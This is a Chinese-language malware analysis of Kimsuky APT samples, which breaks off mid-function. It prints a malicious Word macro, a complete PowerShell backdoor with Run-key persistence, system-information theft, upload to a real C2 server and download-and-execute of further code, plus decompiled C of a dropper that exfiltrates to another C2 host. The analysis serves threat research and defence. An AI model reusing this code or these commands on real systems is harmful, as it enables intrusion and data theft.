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Kimsuky样本攻击手段分析背景Kimsuky最早由卡巴斯基于2013年公开披露并命名，攻击活动最早可追溯至2012年，是疑似具有东亚国家背景的APT组织。该组织主要攻击目标为韩国，涉及国防、教育、能源、政府、医疗以及智囊团等领域，以机密信息窃取为主。Kimsuky至今一直处于活跃状态，从2018年开始频繁开展了多起针对韩美两国特定领域人员的攻击活动。本篇研究文章针对Kimsuky所使用的几个具有代表性的恶意软件样本进行分析，对Kimsuky组织所使用的常用攻击手段进行总结。样本1样本基本信息样本放入threatbook云沙箱观察它的基本信息，发现这个样本源文件是韩文为标题的.doc文件，所以可以推测是宏病毒。 提取其样本基本信息：样本分析在threatbook中下载样本进行分析。下载下来的文件先更改一下文件名为.doc(这里解释一下，当将文件放入二进制编辑工具进行查看的时候发现存在PK标志，这其实是微软在Office 2007中推出的基于XML的文件格式，可以将后缀名改为.zip查看文件的结构。)尝试在office打开文件，打开一张图片提示我们打开宏，并且安全警告中提醒用户程序尝试执行宏指令被制止。所以基本可以推测这是攻击者用来引诱用户打开宏执行宏指令所伪造的主页面。 尝试打开宏，文件执行宏后出现了伪造的文档页面 按alt + f11进入VBA页面，打开宏发现程序被加密，这个加密是伪加密，有两种方法可以绕过密码打开宏代码方法一：使用二进制编辑工具打开样本，文本搜索"DPB"，改为"DPX"，保存后再次打开VBA页面可以读取代码方法二：使用oletools里的olevba工具提取宏代码，直接使用命令即可 复制代码 隐藏代码olevba 0.60.1 on Python 3.8.5 - http://decalage.info/python/oletools===============================================================================FILE: .1fcd9892532813a27537f4e1a1c21ec0c110d6b3929602750ed77bbba7caa426.docType: OpenXMLWARNING For now, VBA stomping cannot be detected for files in memory-------------------------------------------------------------------------------VBA MACRO ThisDocument.clsin file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -(empty macro)-------------------------------------------------------------------------------VBA MACRO tptkddlsjangkspdy.frmin file: word/vbaProject.bin - OLE stream: 'VBA/tptkddlsjangkspdy'- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -(empty macro)-------------------------------------------------------------------------------VBA MACRO Module1.basin file: word/vbaProject.bin - OLE stream: 'VBA/Module1'- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -Function interface() TmpEditPath = tptkddlsjangkspdy.Controls(Len("z")).Value Set JsEditContent = tptkddlsjangkspdy.Controls(3 - 1 - 1 - 1) Open Trim(TmpEditPath) For Output As #2 Print #2, JsEditContent.Text Close #2End FunctionSub AutoOpen() delimage interface executeps shlet regpaEnd SubSub executeps()d1 = "powershell.exe -ExecutionPolicy Bypass -noLogo $s=[System.IO.File]::ReadAllText('c:windowstempbobo.txt');iex $s" With CreateObject("WScript.Shell") .Run d1, Left(Left(Mid("ingfbbamkodhqcwtpzhbcpxqaaigdjmoadch626463965207171466558669015372347853185123047524556333900563576839593172803245215818260", 47), 1), 1), False End WithEnd SubSub delimage() Selection.Delete Unit:=wdCharacter, Count:=1End SubSub shlet() Selection.WholeStory With Selection.Font .NameFarEast = "맑은 고딕" .NameAscii = "" .NameOther = "" .Name = "" .Hidden = False End WithEnd SubSub regpa() With Selection.ParagraphFormat .LeftIndent = CentimetersToPoints(2) .SpaceBeforeAuto = True .SpaceAfterAuto = True End With With Selection.ParagraphFormat .RightIndent = CentimetersToPoints(2) .SpaceBeforeAuto = True .SpaceAfterAuto = True End With Selection.PageSetup.TopMargin = CentimetersToPoints(2.5) Selection.PageSetup.BottomMargin = CentimetersToPoints(2.5)End Sub-------------------------------------------------------------------------------VBA FORM STRING IN 'word/vbaProject.bin' - OLE stream: 'tptkddlsjangkspdy/o'- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -IEX (New-Object System.Net.WebClient).DownloadString('http://mybobo.mygamesonline.org/flower01/flower01.ps1')ex-------------------------------------------------------------------------------VBA FORM STRING IN 'word/vbaProject.bin' - OLE stream: 'tptkddlsjangkspdy/o'- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -C:windowstempbobo.txt-------------------------------------------------------------------------------VBA FORM Variable "b'TextBox1'" IN 'word/vbaProject.bin' - OLE stream: 'tptkddlsjangkspdy'- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -b"IEX (New-Object System.Net.WebClient).DownloadString('http://mybobo.mygamesonline.org/flower01/flower01.ps1')"-------------------------------------------------------------------------------VBA FORM Variable "b'TextBox2'" IN 'word/vbaProject.bin' - OLE stream: 'tptkddlsjangkspdy'- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -b'C:\windows\temp\bobo.txt'+----------+--------------------+---------------------------------------------+|Type |Keyword |Description |+----------+--------------------+---------------------------------------------+|AutoExec |AutoOpen |Runs when the Word document is opened ||Suspicious|Open |May open a file ||Suspicious|Output |May write to a file (if combined with Open) ||Suspicious|Print # |May write to a file (if combined with Open) ||Suspicious|Shell |May run an executable file or a system || | |command ||Suspicious|WScript.Shell |May run an executable file or a system || | |command ||Suspicious|Run |May run an executable file or a system || | |command ||Suspicious|powershell |May run PowerShell commands ||Suspicious|ExecutionPolicy |May run PowerShell commands ||Suspicious|CreateObject |May create an OLE object ||Suspicious|New-Object |May create an OLE object using PowerShell ||Suspicious|windows |May enumerate application windows (if || | |combined with Shell.Application object) ||Suspicious|Net.WebClient |May download files from the Internet using || | |PowerShell ||Suspicious|DownloadString |May download files from the Internet using || | |PowerShell ||Suspicious|System |May run an executable file or a system || | |command on a Mac (if combined with || | |libc.dylib) ||Suspicious|Hex Strings |Hex-encoded strings were detected, may be || | |used to obfuscate strings (option --decode to|| | |see all) ||IOC |http://mybobo.mygame|URL || |sonline.org/flower01| || |/flower01.ps1' | ||IOC |powershell.exe |Executable file name ||IOC |flower01.ps1 |Executable file name |+----------+--------------------+---------------------------------------------+分析上面的宏代码，程序定义了几个函数，在executeps()中，程序使调用了powershell命令在c:windowstempbobo.txt路径下创建一个文件： 复制代码 隐藏代码powershell.exe -ExecutionPolicy Bypass -noLogo $s=[System.IO.File]::ReadAllText('c:windowstempbobo.txt');iex $s为了验证猜想，打开火绒剑检测程序发现的确调用了powershell对文件进行了操作 找到文件对应的位置打开发现文件中被使用IEX写入了一段代码，代码中存在一个网址，目的访问网址下载对应的文件在当前文件夹 当我们再去访问连接的时候发现链接已经挂了。貌似就要在这里断了。。。。想到可以直接从threatbook找到这个样本的生成文件直接下载下来就可以直接分析了。把flower01.ps1文件下载下来分析代码： 复制代码 隐藏代码$SERVER_ADDR = "http://mybobo.mygamesonline.org/flower01/"$UP_URI = "post.php"$upName = "flower01"$LocalID = "flower01"$LOG_FILENAME = "flower01.hwp"$LOG_FILEPATH = "flower01"$TIME_VALUE = 1000*60*60$EXE = "rundll32.exe"$MyfuncName = "Run"$RegValueName = "Alzipupdate"//设置注册表值$RegKey = "HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRun"$regValue = "cmd.exe /c powershell.exe -windowstyle hidden IEX (New-Object System.Net.WebClient).DownloadString('http://mybobo.mygamesonline.org/flower01/flower01.ps1')"function decode($encstr)//单表加密操作{ $key = [byte[]](0,2,4,3,3,6,4,5,7,6,7,0,5,5,4,3,5,4,3,7,0,7,6,2,6,2,4,6,7,2,4,7,5,5,7,0,7,3,3,3,7,3,3,1,4,2,3,7,0,2,7,7,3,5,1,0,1,4,0,5,0,0,0,0,7,5,1,4,5,4,2,0,6,1,4,7,5,0,1,0,3,0,3,1,3,5,1,2,5,0,1,7,1,4,6,0,2,3,3,4,2,5,2,5,4,5,7,3,1,0,1,6,4,1,1,2,1,4,1,5,4,2,7,4,5,1,6,4,6,3,6,4,5,0,3,6,4,0,1,6,3,3,5,7,0,5,7,7,2,5,2,7,7,4,7,5,5,0,5,6) $len = $encstr.Length $j = 0 $i = 0 $comletter = "" while($i -lt $len) { $j = $j % 160 $asciidec = $encstr[$i] -bxor $key[$j] $dec = [char]$asciidec $comletter += $dec $j++ $i++ } return $comletter}function UpLoadFunc($logpath)//上传函数{ $Url = $SERVER_ADDR + $UP_URI//拼接成http://mybobo.mygamesonline.org/flower01/post.php $bReturn = $True $testpath = Test-Path $logpath if($testpath -eq $False) { return $bReturn } $hexdata = [IO.File]::ReadAllText($logpath)//读取路径文件中的数据 $encletter = decode $hexdata $nEncLen = $encletter.Length $LF = "`r`n" $templen = 0x100000//限制最大长度 $sum = 0 do//构造和发送POST请求 { $szOptional = "" $pUploadData = "" Start-Sleep -Milliseconds 100//设置时间 $readlen = $templen; if (($nEncLen - $sum) -lt $templen) { $readlen = $nEncLen - $sum } if ($readlen -ne 0) { $pUploadData = $encletter + $sum $sum += $readlen } else { $pUploadData += "ending" $sum += 9 $readlen = 6 } Start-Sleep -Milliseconds 1 $boundary = "----WebKitFormBoundarywhpFxMBe19cSjFnG"//KimSuky常用的协议 $ContentType = 'multipart/form-data; boundary=' + $boundary $bodyLines = ( "--$boundary", "Content-Disposition: form-data; name=`"MAX_FILE_SIZE`"$LF", "10000000", "--$boundary", "Content-Disposition: form-data; name=`"userfile`"; filename=`"$upName`"", "Content-Type: application/octet-stream$LF", $pUploadData, "--$boundary" ) -join $LF Start-Sleep -Milliseconds 1 $psVersion = $PSVersionTable.PSVersion $r = [System.Net.WebRequest]::Create($Url)//创建POST 请求C2：http://mybobo.mygamesonline.org/flower01/post.php $r.Method = "POST" $r.UseDefaultCredentials = $true $r.ContentType = $ContentType $enc = [system.Text.Encoding]::UTF8 $data1 = $enc.GetBytes($bodyLines) $r.ContentLength = $data1.Length $newStream = $r.GetRequestStream() $newStream.Write($data1, 0, $data1.Length) $newStream.Close(); if($php_post -like "ok") { echo "UpLoad Success!!!" } else { echo "UpLoad Fail!!!" $bReturn = $False } } while ($sum -le $nEncLen); return $bReturn}function FileUploading($upPathName)//调用UpLoadFunc函数进行上传{ $bRet = $True $testpath = Test-Path $upPathName if($testpath -eq $False) { return $bRet } $UpL = UpLoadFunc $upPathName if($UpL -eq $False) { echo "UpLoad Fail!!!" $bRet = $False } else { echo "Success!!!" } del $upPathName return $bRet}function Download//下载文件到本地{ $downname = $LocalID + ".down"//flower01.down $delphppath = $SERVER_ADDR + "del.php"//http://mybobo.mygamesonline.org/flower01/del.php $downpsurl = $SERVER_ADDR + $downname//http://mybobo.mygamesonline.org/flower01/flower01.down $codestring = (New-Object System.Net.WebClient).DownloadString($downpsurl) $comletter = decode $codestring//对数据进行加密 $decode = $executioncontext.InvokeCommand.NewScriptBlock($comletter) $RunningJob = Get-Job -State Running if($RunningJob.count -lt 3) { $JobName = $RunningJob.count + 1 Start-Job -ScriptBlock $decode -Name $JobName } else { $JobName = $RunningJob.count Stop-Job -Name $RunningJob.Name Remove-Job -Name $RunningJob.Name Start-Job -ScriptBlock $decode -Name $JobName } $down_Server_path = $delphppath + "?filename=$LocalID"//http://mybobo.mygamesonline.org/flower01/del.php?filename=flower01.down访问链接 $response = [System.Net.WebRequest]::Create($down_Server_path).GetResponse()//响应 $response.Close()}function Get_info($logpath)//获取路径下的文件信息{ Get-ChildItem ([Environment]::GetFolderPath("Recent")) >> $logpath dir $env:ProgramFiles >> $logpath dir "C:Program Files (x86)" >> $logpath systeminfo >> $logpath tasklist >> $logpath}function main{ Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force $FilePath = $env:APPDATA + $LOG_FILEPATH//%APPDATA%/flower01/ New-Item -Path $FilePath -Type directory -Force $szLogPath = $FilePath + $LOG_FILENAME//%APPDATA%/flower01//flower01.hwp预定义好的上传文件 $key = Get-Item -Path $RegKey//注册表值 $exists = $key.GetValueNames() -contains $RegValueName//注册表名 if($exists -eq $False)//是否存在注册表名为Alzipupdate { $value1 = New-ItemProperty -Path $RegKey -Name $RegValueName -Value $regValue//如果不存在设置名为是否存在注册表名为Alzipupdate的值为HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRun Get_info $szLogPath//获取计算机的基本信息 } while ($true)//每隔10s上传收集到的信息 { FileUploading $szLogPath Start-Sleep -Milliseconds 10000 Download Start-Sleep -Milliseconds 10000 Start-Sleep -Milliseconds $TIME_VALUE }}main具体的细节实现分析观察我在代码中对应程序的分析注释。下面大体描述一下样本程序的恶意行为：样本行为1.样本首先查找本机注册表是否存在值为Alzipupdate的项，如果没有创建这个项的自启动。2.样本获取被攻击者计算机主机的相关信息，包括ProgramFiles下文件信息、Program File (x86)下文件信息、Systeminfo信息、Tasklist，并将它们写入预定义好的文件%APPDATA%/flower01//flower01.hwp里3.样本访问C2 [url]http://mybobo.mygamesonline[.]org/flower01/post.php[/url] 并将文件上传到C2地址，每10s执行一次。IOCs 样本2样本基本信息此样本的基本信息： 提取样本的基本信息：样本分析下面从逆向角度对样本进行分析。拿到样本发现是个win32位可执行程序（010editor的PE标志），拖入ida静态观察一下，程序载入就进入Winmain，Winmain函数如下： 复制代码 隐藏代码int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd){ HMODULE v4; // eax HMODULE v5; // edi HRSRC v6; // esi signed int v7; // ebx HGLOBAL v8; // eax __m128i *v10; // edi char *v11; // esi signed int v12; // edx signed int v13; // ecx __m128i *v14; // eax int v15; // ebx int v16; // esi int v17; // edi __m128i v18; // xmm0 char *v19; // ecx int v20; // edi int v21; // esi char v22; // al char *v23; // edi HANDLE v25; // eax void *v26; // edi void *v27; // esi DWORD NumberOfBytesWritten; // [esp+8h] [ebp-120h] BYREF __m128i *v29; // [esp+Ch] [ebp-11Ch] int v30; // [esp+10h] [ebp-118h] int v31; // [esp+14h] [ebp-114h] int v32; // [esp+18h] [ebp-110h] LPCVOID lpBuffer; // [esp+1Ch] [ebp-10Ch] BYREF CHAR Buffer[260]; // [esp+20h] [ebp-108h] BYREF if ( sub_404140() ) // 导入库、文件操作函数 { if ( sub_4041D0() ) // 导入网络操作函数 { v4 = LoadLibraryA("Advapi32.dll"); v5 = v4; if ( v4 ) { GetProcAddress(v4, "RegOpenKeyExA"); // 导入注册表操作函数 GetProcAddress(v5, "RegQueryValueExA"); GetProcAddress(v5, "RegSetValueExA"); GetProcAddress(v5, "RegCloseKey"); v6 = FindResourceA(0, 104, "JUYFON"); // 找到资源段JUYFON v7 = SizeofResource(0, v6); v32 = v7; v8 = LoadResource(0, v6); // 导入资源段 if ( v8 ) { v10 = LockResource(v8); v29 = v10; v11 = unknown_libname_1(v7); v12 = 0; lpBuffer = v11; if ( v7 > 0 ) { if ( v7 >= 0x20 && (v11 > &v10[-1].m128i_i8[v7 + 15] || &v11[v7 - 1] < v10) ) { v13 = v7 - (v7 & 0x8000001F); v14 = v10; v31 = v11 - v10; v15 = (v11 + 16); v16 = v11 - v10; v30 = v15; v7 = v32; v17 = v30; do { v18 = *v14; v14 += 2; *(&v14[-2] + v16) = _mm_xor_si128(v18, xmmword_4193F0); *(v17 + v12) = _mm_xor_si128(v14[-1], xmmword_4193F0); v12 += 32; } while ( v12 < v13 ); v10 = v29; v11 = lpBuffer; } if ( v12 < v7 ) { v19 = &v11[v12]; v20 = v10 - v11; v21 = v7 - v12; do // 对resource段解密 { v22 = (v19++)[v20]; *(v19 - 1) = v22 ^ 0x7F; // 断点，生成shellcode --v21; } while ( v21 ); } } memset(Buffer, 0, sizeof(Buffer)); GetTempPathA(0x104u, Buffer); v23 = &lpBuffer + 3; while ( *++v23 ) ; qmemcpy(v23, "4.[酒怕楷备]稠巩捧绊痹沥.docx", 0xD3u);// 给创建的文件命名 DeleteFileA(Buffer); v25 = CreateFileA(Buffer, 0x40000000u, 0, 0, 4u, 0x80u, 0);// 创建文件 v26 = lpBuffer; v27 = v25; NumberOfBytesWritten = 0; WriteFile(v25, lpBuffer, v7, &NumberOfBytesWritten, 0); CloseHandle(v27); j_j_j___free_base(v26); Sleep(0xC8u); ShellExecuteA(0, "open", Buffer, 0, 0, 5);// 打开生成的.docx操作 CreateThread(0, 0, StartAddress, 0, 0, 0);// 创建线程，执行StartAddress函数的内容 while ( 1 ) Sleep(0x2710u); } } } } return 0;}程序开始在sub_404140()函数下导入了库、文件操作函数，在sub_4041D0()函数导入了网络函数，所以推测样本会对文件进行操作（例如读、写、创建文件等），也会对网络进行操作（例如访问某个网址，HTTP连接等）。后面导入注册表操作函数，然后是跟资源有关的函数，在这个地方程序导入了名称为"JUYFON"的资源表，使用PEView观察资源表的状况，存在这个资源表。后面多次嵌套if和do...while结构对资源端进行解密，解密出一个word类型程序在内存中 下面一段内容样本程序在本地Temp路径下创建一个word文档名称为“4.[酒怕楷备]稠巩捧绊痹沥.docx”。并且将内存内容写入文档里。  打开生成的word文档发现是朝鲜文，翻译一下发现这是针对韩国庆熙大学国际研究院的攻击。 开始推测以为文档可能有宏病毒，使用工具查一下发现没有宏。 最后程序使用CreateThread()函数创建了一个子线程，线程名称是StartAddress。线程的基本逻辑如下： 复制代码 隐藏代码void __stdcall __noreturn StartAddress(LPVOID lpThreadParameter){ CHAR pszPath[260]; // [esp+4h] [ebp-108h] BYREF memset(pszPath, 0, sizeof(pszPath)); SHGetSpecialFolderPathA(0, pszPath, 26, 0); lstrcatA(pszPath, "\Microsoft\HNC"); // 拼接路径 CreateDirectoryA(pszPath, 0); GetShortPathNameA_0(pszPath, pszPath, 0x104u); wsprintfA(FileName, "%s\%s", pszPath, "wcl.docx"); wsprintfA(byte_41DBB8, "%s\%s", pszPath, "tcf.bin"); sub_404250(); // Windows下命令行获取系统信息并写入wcl.docx文件中 Sleep(10000u); sub_4049E0(); // 构造网络请求 while ( 1 ) { sub_4045C0(); Sleep(0x1B7740u); }}子线程拼接了一个本地路径"C:UsersAnonymousAppDataRoamingMicrosoftHNC"，同时试图创建两个文件"wcl.docx"和"tcf.bin" 后面的三个函数sub_404250()、sub_4049E0()、sub_4045C0()都比较关键，下面逐一进行分析：sub_404250()其代码逻辑如下： 复制代码 隐藏代码void sub_404250(){ SHELLEXECUTEINFOA pExecInfo; // [esp+0h] [ebp-658h] BYREF CHAR v1[260]; // [esp+3Ch] [ebp-61Ch] BYREF CHAR szLongPath[260]; // [esp+140h] [ebp-518h] BYREF CHAR pszPath[260]; // [esp+244h] [ebp-414h] BYREF CHAR Buffer[260]; // [esp+348h] [ebp-310h] BYREF CHAR szShortPath[260]; // [esp+44Ch] [ebp-20Ch] BYREF CHAR v6[260]; // [esp+550h] [ebp-108h] BYREF memset(szShortPath, 0, sizeof(szShortPath)); memset(Buffer, 0, sizeof(Buffer)); memset(v6, 0, sizeof(v6)); if ( GetEnvironmentVariableA("COMSPEC", Buffer, 0x103u) )// cmd.exe文件路径：C:\Windows\system32\cmd.exe { pExecInfo.lpVerb = "Open"; pExecInfo.lpFile = Buffer; // cmd文件路径 pExecInfo.cbSize = 60; // 长度 pExecInfo.hwnd = 0; pExecInfo.lpDirectory = 0; pExecInfo.fMask = 64; pExecInfo.nShow = 0; memset(pszPath, 0, sizeof(pszPath)); if ( SHGetSpecialFolderPathA(0, pszPath, 0, 0) ) { GetShortPathNameA(pszPath, szShortPath, 0x104u); wsprintfA(v6, "/c dir %s\ >> %s", szShortPath, FileName); pExecInfo.lpParameters = v6; ShellExecuteExA(&pExecInfo); // 执行/c dir C:UsersANONYM~1Desktop >> C:UsersANONYM~1AppDataRoamingMICROS~1HNCwcl.docx 生成docx文件 Sleep(3000u); memset(szLongPath, 0, sizeof(szLongPath)); if ( SHGetSpecialFolderPathA(0, szLongPath, 8, 0) ) { GetShortPathNameA(szLongPath, szShortPath, 0x104u); wsprintfA(v6, "/c dir %s\ >> %s", szShortPath, FileName); pExecInfo.lpParameters = v6; ShellExecuteExA(&pExecInfo); Sleep(3000u); memset(v1, 0, sizeof(v1)); // 执行/c dir C:UsersANONYM~1AppDataRoamingMICROS~1WindowsRecent >> C:UsersANONYM~1AppDataRoamingMICROS~1HNCwcl.docx if ( SHGetSpecialFolderPathA(0, v1, 38, 0) ) { GetShortPathNameA(v1, szShortPath, 0x104u); wsprintfA(v6, "/c dir %s\ >> %s", szShortPath, FileName);// cmd /c是执行完命令之后关闭命令行窗口 pExecInfo.lpParameters = v6; ShellExecuteExA(&pExecInfo); Sleep(3000u); wsprintfA(v6, "/c systeminfo >> %s", FileName);// /c systeminfo >> C:UsersANONYM~1AppDataRoamingMICROS~1HNCwcl.docx pExecInfo.lpParameters = v6; ShellExecuteExA(&pExecInfo); Sleep(0x1388u); } } } }}样本程序首先使用GetEnvironmentVariableA获取COMSPEC变量（也就是cmd.exe的文件路径），后面初始化使用shell需要的一些信息（例如文件路径、文件大小等参数）。再往下写入了三个shell，并且执行shell，作用是将宿主计算机信息存储在wcl.docx中：/c dir C:UsersANONYM~1Desktop >> C:UsersANONYM~1AppDataRoamingMICROS~1HNCwcl.docx/c dir C:UsersANONYM~1AppDataRoamingMICROS~1WindowsRecent >> C:UsersANONYM~1AppDataRoamingMICROS~1HNCwcl.docx/c dir C:PROGRA~2 >> C:UsersANONYM~1AppDataRoamingMICROS~1HNCwcl.docx/c systeminfo >> C:UsersANONYM~1AppDataRoamingMICROS~1HNCwcl.docx解释一下/c的意思是cmd打开命令行执行完命令之后直接退出，也就是命令执行的时候是不会进行弹出控制台程序的。执行/c dir C:UsersANONYM~1Desktop >> C:UsersANONYM~1AppDataRoamingMICROS~1HNCwcl.docx 执行/c dir C:UsersANONYM~1AppDataRoamingMICROS~1WindowsRecent >> C:UsersANONYM~1AppDataRoamingMICROS~1HNCwcl.docx 执行/c dir C:PROGRA~2 >> C:UsersANONYM~1AppDataRoamingMICROS~1HNCwcl.docx 执行/c systeminfo >> C:UsersANONYM~1AppDataRoamingMICROS~1HNCwcl.docx 打开生成的文件发现文件中存储着计算机的信息。 sub_4049E0()这个函数用来构造网络请求，其程序逻辑如下： 复制代码 隐藏代码BOOL sub_4049E0(){ FILE *v0; // eax FILE *v1; // ebx BOOL result; // eax int v3; // eax int v4; // eax size_t v5; // esi void *v6; // edi size_t v7; // esi void *v8; // esi char *v9; // ebx unsigned int v10; // edi size_t v11; // esi unsigned int v12; // edi unsigned int v13; // edi size_t v14; // esi const char *v15; // ecx char v16; // al unsigned int v17; // kr00_4 char v18[260]; // [esp+4h] [ebp-138h] BYREF char v19[25]; // [esp+108h] [ebp-34h] BYREF int v20; // [esp+121h] [ebp-1Bh] __int16 v21; // [esp+125h] [ebp-17h] char v22; // [esp+127h] [ebp-15h] unsigned int v23; // [esp+128h] [ebp-14h] unsigned int v24; // [esp+12Ch] [ebp-10h] size_t Size; // [esp+130h] [ebp-Ch] void *Src; // [esp+134h] [ebp-8h] int Value; // [esp+138h] [ebp-4h] BYREF v0 = fopen(FileName, "rb"); // C:UsersANONYM~1AppDataRoamingMICROS~1HNCwcl.docx v1 = v0; if ( v0 ) { v3 = _fileno(v0); v4 = _filelength(v3); Value = v4; if ( v4 ) { v5 = v4 + 1; v6 = unknown_libname_1(v4 + 1); memset(v6, 0, v5); fread(v6, 1u, Value, v1); // 读文件 fclose(v1); v7 = Value + 5; v23 = Value + 4; Value = unknown_libname_1(Value + 5); memset(Value, 0, v7); *&v19[17] = 0i64; v20 = 0; v21 = 0; v22 = 0; strcpy(v19, "01234567abcdefgh"); sub_404020(Value, v19); // 加密或者操作 j_j_j___free_base(v6); v8 = unknown_libname_1(0x100001u); Src = v8; v9 = unknown_libname_1(0x206590u); v10 = 0; while ( 1 ) { Sleep(0x64u); memset(v9, 0, 0x200514u); memset(v8, 0, 0x100001u); v11 = 0x100000; Size = 0x100000; if ( v23 - v10 < 0x100000 && (v11 = v23 - v10, Size = v23 - v10, v23 == v10) ) { v12 = v10 + 9; strcat(Src, "ending"); Size = 6; } else { memmove_0(Src, (v10 + Value), v11); v12 = v11 + v10; } v24 = v12; Sleep(1u); strcat(v9, "rn------WebKitFormBoundarywhpFxMBe19cSjFnG");// 构造网络请求 strcat(v9, "rnContent-Disposition: form-data; name="MAX_FILE_SIZE""); strcat(v9, "rnrn10000000"); strcat(v9, "rn------WebKitFormBoundarywhpFxMBe19cSjFnG"); strcat(v9, "rnContent-Disposition: form-data; name="userfile"; filename=""); strcat(v9, "button01"); *&v9[strlen(v9)] = 34; strcat(v9, "rnContent-Type: application/octet-streamrnrn"); v13 = strlen(v9); v14 = Size; memmove_0(&v9[v13], Src, Size); strcpy(v18, "rn------WebKitFormBoundarywhpFxMBe19cSjFnG"); memset(&v18[43], 0, 0xD9u); v15 = "rn------WebKitFormBoundarywhpFxMBe19cSjFnG"; do { v16 = *v15++; v9[v14 - 1 + v13 - "rn------WebKitFormBoundarywhpFxMBe19cSjFnG" + v15] = v16; } while ( v16 ); v17 = strlen(v18); Sleep(1u); if ( sub_404DD0(v9, Size + v17 + v13) == 1 )// POST函数 break; v10 = v24; if ( v24 > v23 ) break; v8 = Src; } DeleteFileA(FileName); GetLastError(); j_j_j___free_base(v9); j_j_j___free_base(Src); j_j_j___free_base(Value); result = 0; } else { DeleteFileA(FileName); result = 1; } } else { Value = 0; _get_errno(&Value); result = Value == 2; } return result;}程序先打开了之前从生成的docx文件，后面使用了一串加密操作的代码或者函数，我也没具体分析，读入word之后传递给v9然后进行拼接了网络请求，最后将文件删除 构造网络请求 这个函数内还有一个函数sub_404DD0主要用来执行POST请求，发送的信息就是a1（相当于上一层函数里v9用来存储读入的信息） 复制代码 隐藏代码int __fastcall sub_404DD0(void *a1, DWORD a2){ int v2; // ebx void *v3; // eax void *v4; // esi void *v5; // edi int result; // eax LPCSTR lpszAcceptTypes[2]; // [esp+4h] [ebp-52Ch] BYREF HINTERNET hInternet; // [esp+Ch] [ebp-524h] LPVOID lpOptional; // [esp+10h] [ebp-520h] DWORD dwOptionalLength; // [esp+14h] [ebp-51Ch] CHAR szHeaders[1000]; // [esp+18h] [ebp-518h] BYREF char v12[24]; // [esp+400h] [ebp-130h] BYREF char v13[76]; // [esp+418h] [ebp-118h] BYREF CHAR szAgent[84]; // [esp+464h] [ebp-CCh] BYREF __int128 v15; // [esp+4B8h] [ebp-78h] char v16[84]; // [esp+4C8h] [ebp-68h] BYREF __int128 v17; // [esp+51Ch] [ebp-14h] v2 = 0; dwOptionalLength = a2; lpOptional = a1; memset(szHeaders, 0, sizeof(szHeaders)); strcpy(v16, "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG"); v17 = 0i64; strcpy(v12, "Accept-Language: en-us"); memset(v13, 0, sizeof(v13)); strcpy(szAgent, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322)"); lpszAcceptTypes[0] = "*/*"; lpszAcceptTypes[1] = 0; v15 = 0i64; wsprintfA( szHeaders, "Host: %srnReferer: http://%s%srn%srn%s", "pingguo2.atwebpages.com", "pingguo2.atwebpages.com", "home/jpg/post.php", v16, v12); v3 = InternetOpenA(szAgent, 0, 0, 0, 0); hInternet = v3; if ( v3 ) { v4 = InternetConnectA(v3, "pingguo2.atwebpages.com", 0, 0, 0, 3u, 0, 0); if ( v4 ) { v5 = HttpOpenRequestA(v4, "POST", "home/jpg/post.php", "HTTP/1.0", 0, lpszAcceptTypes, 0x84400000, 0); if ( v5 ) { if ( !HttpSendRequestA(v5, szHeaders, strlen(szHeaders), lpOptional, dwOptionalLength) ) { GetLastError(); v2 = 1; } InternetCloseHandle(v5); InternetCloseHandle(v4); InternetCloseHandle(hInternet); result = v2; } else { GetLastError(); InternetCloseHandle(v4); InternetCloseHandle(hInternet); result = 0; } } else { GetLastError(); InternetCloseHandle(hInternet); result = 0; } } else { GetLastError(); result = 0; } return result;}sub_4045C0()这部分函数发送HTTP请求，代码如下 复制代码 隐藏代码HANDLE sub_4045C0(){ void *v0; // eax void *v1; // edi void *v2; // esi void *v3; // eax void *v4; // ebx int v5; // ecx _BYTE *v6; // esi DWORD v8; // ecx DWORD v9; // eax HANDLE v10; // edx DWORD v11; // eax DWORD i; // ecx HMODULE v13; // esi void *v14; // edi void *v15; // esi HANDLE v16; // ebx void *v17; // esi HANDLE v18; // ebx HANDLE v19; // ebx HANDLE v20; // ebx LPCSTR lpszAcceptTypes[2]; // [esp+Ch] [ebp-23Ch] BYREF HINTERNET v22; // [esp+14h] [ebp-234h] void *Block; // [esp+18h] [ebp-230h] HINTERNET hInternet; // [esp+1Ch] [ebp-22Ch] DWORD dwNumberOfBytesRead; // [esp+20h] [ebp-228h] BYREF HANDLE hFile; // [esp+24h] [ebp-224h] DWORD dwBufferLength; // [esp+28h] [ebp-220h] BYREF DWORD nNumberOfBytesToWrite; // [esp+2Ch] [ebp-21Ch] BYREF CHAR szObjectName[520]; // [esp+30h] [ebp-218h] BYREF int Buffer[3]; // [esp+238h] [ebp-10h] BYREF memset(szObjectName, 0, sizeof(szObjectName)); wsprintfA(szObjectName, "%s?filename=%s", "home/jpg/download.php", "button01"); lpszAcceptTypes[0] = "*/*"; hFile = 0; dwBufferLength = 0; dwNumberOfBytesRead = 0; nNumberOfBytesToWrite = 0; lpszAcceptTypes[1] = 0; v0 = InternetOpenA("Mozilla/5.0", 0, 0, 0, 0); v1 = v0; v22 = v0; if ( !v0 ) { GetLastError(); return 0; } v2 = InternetConnectA(v0, "pingguo2.atwebpages.com", 0, 0, 0, 3u, 0, 0);// 访问pingguo2.atwebpages.com/home/jpg/download.php?filename=button01 hInternet = v2; if ( !v2 ) { GetLastError(); InternetCloseHandle(v1); return 0; } v3 = HttpOpenRequestA(v2, "GET", szObjectName, "HTTP/1.0", 0, lpszAcceptTypes, 0x84000000, 0); v4 = v3; if ( !v3 ) { GetLastError(); InternetCloseHandle(v2); v20 = hFile; InternetCloseHandle(v1); return v20; } if ( !HttpSendRequestA(v3, "Content-Type: application/x-www-form-urlencodedrn", 0x31u, 0, 0) ) { 